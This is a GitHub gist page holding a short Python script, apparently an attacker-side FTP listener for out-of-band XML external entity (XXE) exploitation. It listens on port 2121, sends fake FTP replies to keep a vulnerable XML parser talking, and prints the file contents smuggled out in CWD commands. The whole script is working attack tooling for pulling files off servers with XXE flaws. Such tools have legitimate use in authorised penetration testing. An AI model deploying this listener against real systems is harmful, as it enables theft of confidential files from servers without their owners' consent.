Skip to content

Instantly share code, notes, and snippets.

@staaldraad
Created July 2, 2015 09:22
Show Gist options
  • Star 7 You must be signed in to star a gist
  • Fork 4 You must be signed in to fork a gist
  • Save staaldraad/280f167f5cb49a80b4a3 to your computer and use it in GitHub Desktop.
Save staaldraad/280f167f5cb49a80b4a3 to your computer and use it in GitHub Desktop.
Python FTP server for XXE
#!/usr/env/python
from __future__ import print_function
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind(('0.0.0.0',2121))
s.listen(1)
print('XXE-FTP listening ')
conn,addr = s.accept()
print('Connected by %s',addr)
conn.sendall('220 Staal XXE-FTP\r\n')
stop = False
while not stop:
dp = str(conn.recv(1024))
if dp.find("USER") > -1:
conn.sendall("331 password please - version check\r\n")
else:
conn.sendall("230 more data please!\r\n")
if dp.find("RETR")==0 or dp.find("QUIT")==0:
stop = True
if dp.find("CWD") > -1:
print(dp.replace('CWD ','/',1).replace('\r\n',''),end='')
else:
print(dp)
conn.close()
s.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment